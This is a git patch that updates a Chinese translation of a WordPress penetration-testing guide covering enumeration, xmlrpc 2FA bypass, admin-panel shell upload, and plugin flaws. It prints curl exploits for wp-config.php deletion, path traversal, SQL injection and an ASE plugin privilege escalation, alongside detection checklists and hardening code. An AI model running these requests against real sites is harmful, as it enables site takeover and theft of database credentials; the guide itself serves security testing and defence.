From 6a2db03462745577ef453f991717f9639b6114da Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 16:36:05 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/wordpress.md --- .../pentesting-web/wordpress.md | 118 ++++++++++++++---- 1 file changed, 91 insertions(+), 27 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 110ade73d..be9fadaf2 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,7 +5,7 @@ ## 基本信息 - **上传**的文件位于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **主题文件可以在 /wp-content/themes/ 中找到,** 所以如果你修改主题的一些 php 文件以获取 RCE,你可能会使用该路径。例如:使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **主题文件可以在 /wp-content/themes/ 中找到,** 所以如果你更改主题的一些 php 文件以获取 RCE,你可能会使用该路径。例如:使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **另一个有用的 URL 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -16,7 +16,7 @@ - `index.php` - `license.txt` 包含有用的信息,例如安装的 WordPress 版本。 -- `wp-activate.php` 用于设置新 WordPress 站点时的电子邮件激活过程。 +- `wp-activate.php` 用于设置新 WordPress 网站时的电子邮件激活过程。 - 登录文件夹(可能被重命名以隐藏): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` @@ -30,7 +30,7 @@ **后期利用** -- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、认证密钥和盐,以及数据库表前缀。该配置文件还可以用于激活 DEBUG 模式,这在故障排除时非常有用。 +- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、认证密钥和盐,以及数据库表前缀。该配置文件还可以用于激活 DEBUG 模式,这在故障排除时可能很有用。 ### 用户权限 @@ -62,8 +62,6 @@ curl https://victim.com/ | grep 'content="WordPress' - JavaScript 文件 -![](<../../images/image (524).png>) - ### 获取插件 ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -72,7 +70,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### 提取版本信息一般来说 +### 提取版本一般信息 ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -174,7 +172,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **绕过 2FA** -此方法是针对程序而非人类的,并且较旧,因此不支持 2FA。因此,如果您拥有有效的凭据,但主要入口受到 2FA 保护,**您可能能够利用 xmlrpc.php 使用这些凭据登录,从而绕过 2FA**。请注意,您将无法执行通过控制台可以执行的所有操作,但您仍然可能能够达到 RCE,正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样。 +此方法是针对程序而非人类的,因此较旧,不支持 2FA。因此,如果您拥有有效的凭据,但主要入口受到 2FA 保护,**您可能能够利用 xmlrpc.php 使用这些凭据登录,从而绕过 2FA**。请注意,您将无法执行通过控制台可以执行的所有操作,但您仍然可能能够达到 RCE,正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样。 **DDoS 或端口扫描** @@ -231,7 +229,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go 此工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**,如果存在,它会尝试利用它们。 -## 自动化工具 +## Automatic Tools ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) @@ -239,14 +237,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## 通过覆盖一个比特获取访问权限 -这不仅仅是一次真实攻击,而是一种好奇。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任何 WordPress 文件的 1 个比特。因此,你可以将文件 `/var/www/html/wp-includes/user.php` 的位置 `5389` 翻转为 NOP NOT (`!`) 操作。 +这不仅仅是一次真正的攻击,而是一种好奇。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任何 WordPress 文件中的 1 个比特。因此,你可以将文件 `/var/www/html/wp-includes/user.php` 中的位置 `5389` 翻转为 NOP NOT (`!`) 操作。 ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **面板 RCE** -**修改所用主题中的 php(需要管理员凭据)** +**修改所用主题的 php(需要管理员凭据)** 外观 → 主题编辑器 → 404 模板(在右侧) @@ -277,7 +275,7 @@ use exploit/unix/webapp/wp_admin_shell_upload ![](<../../images/image (722).png>) -上传插件并按“立即安装”: +上传插件并按立即安装: ![](<../../images/image (249).png>) @@ -285,7 +283,7 @@ use exploit/unix/webapp/wp_admin_shell_upload ![](<../../images/image (70).png>) -这可能看起来没有任何反应,但如果您转到媒体,您将看到您的 shell 已上传: +这可能表面上不会有什么反应,但如果您转到媒体,您将看到您的 shell 已上传: ![](<../../images/image (462).png>) @@ -303,9 +301,9 @@ use exploit/unix/webapp/wp_admin_shell_upload - 上传下载插件的 zip 文件。 3. **插件激活**:插件成功安装后,必须通过仪表板激活。 4. **利用**: -- 安装并激活插件“reflex-gallery”,可以利用该插件,因为已知存在漏洞。 +- 安装并激活插件 "reflex-gallery",可以利用它,因为已知存在漏洞。 - Metasploit 框架提供了此漏洞的利用。通过加载适当的模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未经授权访问。 -- 注意,这只是利用 WordPress 网站的众多方法之一。 +- 注意,这只是利用 WordPress 站点的众多方法之一。 内容包括描述在 WordPress 仪表板中安装和激活插件步骤的视觉辅助工具。然而,重要的是要注意,以这种方式利用漏洞在没有适当授权的情况下是非法和不道德的。此信息应负责任地使用,仅在法律背景下使用,例如在获得明确许可的渗透测试中。 @@ -313,7 +311,7 @@ use exploit/unix/webapp/wp_admin_shell_upload ## 从 XSS 到 RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike):_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他关键漏洞的脚本,适用于 WordPress。有关更多信息,请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 **Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持,并允许:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike):_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他关键漏洞的脚本。有关更多信息,请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 **Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持,并允许:** - _**权限提升:**_ 在 WordPress 中创建用户。 - _**(RCE) 自定义插件(后门)上传:**_ 将您的自定义插件(后门)上传到 WordPress。 - _**(RCE) 内置插件编辑:**_ 编辑 WordPress 中的内置插件。 @@ -334,21 +332,21 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### 攻击面 -了解 Wordpress 插件如何暴露功能是发现其功能漏洞的关键。您可以在以下要点中找到插件可能暴露功能的方式,以及一些易受攻击插件的示例在 [**这篇博客文章**](https://nowotarski.info/wordpress-nonce-authorization/) 中。 +了解 Wordpress 插件如何暴露功能是发现其功能漏洞的关键。您可以在以下要点中找到插件可能暴露功能的方式,以及一些易受攻击插件的示例,详见 [**这篇博客文章**](https://nowotarski.info/wordpress-nonce-authorization/)。 - **`wp_ajax`** -插件暴露功能的一种方式是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或身份验证漏洞。此外,这些函数通常会基于 Wordpress nonce 的存在来进行身份验证和授权,而 **任何在 Wordpress 实例中经过身份验证的用户都可能拥有**(与其角色无关)。 +插件暴露功能的一种方式是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或身份验证漏洞。此外,这些函数通常会基于 Wordpress nonce 的存在来进行身份验证和授权,而 **任何在 Wordpress 实例中经过身份验证的用户都可能拥有**(无论其角色如何)。 这些是可以用来在插件中暴露功能的函数: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**使用 `nopriv` 使得该端点可以被任何用户访问(甚至是未认证的用户)。** +**使用 `nopriv` 使得端点可以被任何用户访问(甚至是未认证的用户)。** > [!CAUTION] -> 此外,如果该函数仅使用 `wp_verify_nonce` 检查用户的授权,该函数只是检查用户是否已登录,通常并不检查用户的角色。因此,低权限用户可能会访问高权限的操作。 +> 此外,如果该函数只是使用 `wp_verify_nonce` 检查用户的授权,该函数仅检查用户是否已登录,通常并不检查用户的角色。因此,低权限用户可能会访问高权限的操作。 - **REST API** @@ -399,8 +397,8 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove ``` 此代码片段引入的问题: -* **未经身份验证的访问** – 注册了 `wp_ajax_nopriv_` 钩子。 -* **没有 nonce / 能力检查** – 任何访客都可以访问该端点。 +* **未认证访问** – 注册了 `wp_ajax_nopriv_` 钩子。 +* **没有 nonce / 权限检查** – 任何访客都可以访问该端点。 * **没有路径清理** – 用户控制的 `fontfamily` 字符串在没有过滤的情况下连接到文件系统路径,允许经典的 `../../` 遍历。 #### 利用 @@ -411,13 +409,13 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -因为 `wp-config.php` 位于 *uploads* 之外,默认安装只需四个 `../` 序列。 删除 `wp-config.php` 会在下次访问时强制 WordPress 进入 *安装向导*,从而实现完全控制网站(攻击者只需提供新的数据库配置并创建一个管理员用户)。 +因为 `wp-config.php` 位于 *uploads* 之外,默认安装中四个 `../` 序列就足够了。删除 `wp-config.php` 会强制 WordPress 在下次访问时进入 *安装向导*,从而实现完全控制网站(攻击者只需提供新的数据库配置并创建一个管理员用户)。 其他影响较大的目标包括插件/主题的 `.php` 文件(以破坏安全插件)或 `.htaccess` 规则。 #### 检测清单 -* 任何调用文件系统助手的 `add_action( 'wp_ajax_nopriv_...')` 回调(`copy()`、`unlink()`、`$wp_filesystem->delete()` 等)。 +* 任何 `add_action( 'wp_ajax_nopriv_...')` 回调调用文件系统助手(`copy()`、`unlink()`、`$wp_filesystem->delete()` 等)。 * 将未经过滤的用户输入连接到路径中(查找 `$_POST`、`$_GET`、`$_REQUEST`)。 * 缺少 `check_ajax_referer()` 和 `current_user_can()`/`is_user_logged_in()`。 @@ -441,11 +439,75 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ // 🔒 NO wp_ajax_nopriv_ registration ``` > [!TIP] -> **始终** 将任何磁盘上的写入/删除操作视为特权操作,并进行双重检查: +> **始终**将任何磁盘上的写入/删除操作视为特权操作,并进行双重检查: > • 身份验证 • 授权 • 随机数 • 输入清理 • 路径限制(例如通过 `realpath()` 加上 `str_starts_with()`)。 --- +### 通过过时角色恢复和缺失授权进行特权升级(ASE "以角色查看管理员") + +许多插件通过将原始角色保存在用户元数据中来实现“以角色查看”或临时角色切换功能,以便稍后恢复。如果恢复路径仅依赖于请求参数(例如 `$_REQUEST['reset-for']`)和插件维护的列表,而不检查能力和有效的随机数,这将导致垂直特权升级。 + +在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中发现了一个真实的例子。重置分支基于 `reset-for=` 恢复角色,如果用户名出现在内部数组 `$options['viewing_admin_as_role_are']` 中,但在移除当前角色和重新添加用户元数据 `_asenha_view_admin_as_original_roles` 中保存的角色之前,既没有执行 `current_user_can()` 检查,也没有进行随机数验证: +```php +// Simplified vulnerable pattern +if ( isset( $_REQUEST['reset-for'] ) ) { +$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] ); +$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? []; + +if ( in_array( $reset_for_username, $usernames, true ) ) { +$u = get_user_by( 'login', $reset_for_username ); +foreach ( $u->roles as $role ) { $u->remove_role( $role ); } +$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true ); +foreach ( $orig as $r ) { $u->add_role( $r ); } +} +} +``` +为什么它是可利用的 + +- 信任 `$_REQUEST['reset-for']` 和没有服务器端授权的插件选项。 +- 如果用户之前在 `_asenha_view_admin_as_original_roles` 中保存了更高的权限并被降级,他们可以通过访问重置路径来恢复这些权限。 +- 在某些部署中,任何经过身份验证的用户都可以为仍在 `viewing_admin_as_role_are` 中存在的另一个用户名触发重置(授权破坏)。 + +攻击前提 + +- 启用该功能的易受攻击插件版本。 +- 目标账户在用户元数据中存储了过时的高权限角色。 +- 任何经过身份验证的会话;重置流程中缺少 nonce/能力。 + +利用(示例) +```bash +# While logged in as the downgraded user (or any auth user able to trigger the code path), +# hit any route that executes the role-switcher logic and include the reset parameter. +# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks. +curl -s -k -b 'wordpress_logged_in=...' \ +'https://victim.example/wp-admin/?reset-for=' +``` +在易受攻击的构建中,这会移除当前角色并重新添加保存的原始角色(例如,`administrator`),有效地提升权限。 + +检测清单 + +- 查找在用户元数据中持久化“原始角色”的角色切换功能(例如,`_asenha_view_admin_as_original_roles`)。 +- 确定重置/恢复路径: + - 从 `$_REQUEST` / `$_GET` / `$_POST` 读取用户名。 + - 通过 `add_role()` / `remove_role()` 修改角色,而不使用 `current_user_can()` 和 `wp_verify_nonce()` / `check_admin_referer()`。 + - 基于插件选项数组(例如,`viewing_admin_as_role_are`)进行授权,而不是基于行为者的能力。 + +加固 + +- 在每个状态更改分支上强制执行能力检查(例如,`current_user_can('manage_options')` 或更严格)。 +- 对所有角色/权限变更要求使用 nonce 并进行验证:`check_admin_referer()` / `wp_verify_nonce()`。 +- 永远不要信任请求提供的用户名;根据经过身份验证的行为者和明确的策略在服务器端解析目标用户。 +- 在个人资料/角色更新时使“原始角色”状态无效,以避免过时的高权限恢复: +```php +add_action( 'profile_update', function( $user_id ) { +delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); +}, 10, 1 ); +``` +- 考虑存储最小状态并使用时间限制、能力保护的令牌进行临时角色切换。 + +--- + ## WordPress 保护 ### 定期更新 @@ -488,7 +550,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " 1. **未清理的用户输入** – `parentid` 直接来自 HTTP 请求。 2. **WHERE 子句中的字符串连接** – 没有 `is_numeric()` / `esc_sql()` / 预处理语句。 -3. **未经身份验证的可达性** – 尽管该操作是通过 `admin-post.php` 执行的,但唯一的检查是 **CSRF nonce** (`wp_verify_nonce()`),任何访客都可以从嵌入短代码 `[wpjobportal_my_resumes]` 的公共页面中获取。 +3. **未认证的可达性** – 尽管该操作是通过 `admin-post.php` 执行的,但唯一的检查是 **CSRF nonce** (`wp_verify_nonce()`),任何访客都可以从嵌入短代码 `[wpjobportal_my_resumes]` 的公共页面中获取。 #### 利用 @@ -506,7 +568,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ ``` 响应显示了注入查询的结果或更改了数据库,证明了 SQLi。 -### 未经身份验证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2) +### 未认证的任意文件下载 / 路径遍历 (WP Job Portal <= 2.3.2) 另一个任务,**downloadcustomfile**,允许访客通过路径遍历下载 **磁盘上的任何文件**。 受影响的代码位于 `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php @@ -527,9 +589,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \ ``` 服务器响应 `wp-config.php` 的内容,泄露了数据库凭据和认证密钥。 -## 参考 +## 参考文献 - [Litho主题中的未认证任意文件删除漏洞](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [WP Job Portal插件中修复的多个关键漏洞](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [影响超过100,000个站点的ASE插件中的特权升级罕见案例](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) +- [ASE 7.6.3更改集 – 在个人资料更新时删除原始角色](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) {{#include ../../banners/hacktricks-training.md}}